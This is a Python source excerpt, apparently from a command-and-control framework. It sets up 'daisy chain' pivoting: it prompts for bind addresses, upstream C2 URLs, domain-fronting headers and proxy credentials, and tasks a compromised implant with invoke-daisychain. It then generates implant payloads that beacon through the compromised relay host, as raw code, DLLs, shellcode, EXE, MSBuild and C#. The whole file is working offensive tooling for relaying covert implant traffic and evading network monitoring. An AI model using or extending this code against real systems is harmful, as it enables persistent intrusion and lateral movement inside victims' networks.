def do_startdaisy(user, command, randomuri):
check_module_loaded("daisy.dll", randomuri, user)
elevated = input(Colours.GREEN + "Are you elevated? Y/n " + Colours.END)
domain_front = ""
proxy_user = ""
proxy_pass = ""
proxy_url = ""
if elevated.lower() == "n":
cont = input(Colours.RED + "Daisy from an unelevated context can only bind to localhost, continue? y/N " + Colours.END)
if cont.lower() == "n" or cont == "":
return
bind_ip = "localhost"
else:
bind_ip = input(Colours.GREEN + "Bind IP on the daisy host: " + Colours.END)
bind_port = input(Colours.GREEN + "Bind Port on the daisy host: " + Colours.END)
firstdaisy = input(Colours.GREEN + "Is this the first daisy in the chain? Y/n? " + Colours.END)
if firstdaisy.lower() == "y" or firstdaisy == "":
upstream_url = input(Colours.GREEN + f"C2 URL (leave blank for {PayloadCommsHost}): " + Colours.END)
if DomainFrontHeader:
domain_front = input(Colours.GREEN + f"Domain front header (leave blank for {DomainFrontHeader}): " + Colours.END)
else:
domain_front = input(Colours.GREEN + f"Domain front header (leave blank for configured value of no header): " + Colours.END)
proxy_user = input(Colours.GREEN + "Proxy user (<domain>\\<username>, leave blank if none): " + Colours.END)
proxy_pass = input(Colours.GREEN + "Proxy password (leave blank if none): " + Colours.END)
proxy_url = input(Colours.GREEN + "Proxy URL (leave blank if none): " + Colours.END)
if not upstream_url:
upstream_url = PayloadCommsHost
if not domain_front:
domain_front = DomainFrontHeader
else:
upstream_daisy_host = input(Colours.GREEN + "Upstream daisy server: " + Colours.END)
upstream_daisy_port = input(Colours.GREEN + "Upstream daisy port: " + Colours.END)
upstream_url = f"http://{upstream_daisy_host}:{upstream_daisy_port}"
domain_front = upstream_daisy_host
urls = get_allurls().replace(" ", "")
useragent = UserAgent
command = f"invoke-daisychain \"{bind_ip}\" \"{bind_port}\" \"{upstream_url}\" \"{domain_front}\" \"{proxy_url}\" \"{proxy_user}\" \"{proxy_pass}\" \"{useragent}\" {urls}"
new_task(command, user, randomuri)
update_label("DaisyHost", randomuri)
createpayloads = input(Colours.GREEN + "Would you like to create payloads for this Daisy Server? Y/n ")
if createpayloads.lower() == "y" or createpayloads == "":
name = input(Colours.GREEN + "Enter a payload name: " + Colours.END)
daisyhost = get_implantdetails(randomuri)
proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}"
C2 = get_c2server_all()
newPayload = Payloads(C2[5], C2[2], f"http://{bind_ip}", "", f"{bind_port}", "", "", "",
"", proxynone, C2[17], C2[18], C2[19], "%s?d" % get_newimplanturl(), PayloadsDirectory)
newPayload.PSDropper = (newPayload.PSDropper).replace("$pid;%s" % (upstream_url), "$pid;%s@%s" % (daisyhost[11], daisyhost[3]))
newPayload.CreateRaw(name)
newPayload.CreateDlls(name)
newPayload.CreateShellcode(name)
newPayload.CreateEXE(name)
newPayload.CreateMsbuild(name)
newPayload.CreateCS(name)
new_urldetails(name, C2[1], C2[3], f"Daisy: {name}", upstream_url, daisyhost[0], "")
print_good("Created new %s daisy payloads" % name)
def do_invoke_daisychain(user, command, randomuri):
check_module_loaded("Invoke-DaisyChain.ps1", randomuri, user)
urls = get_allurls()
new_task("%s -URLs '%s'" % (command, urls), user, randomuri)
update_label("DaisyHost", randomuri)
print("Now use createdaisypayload")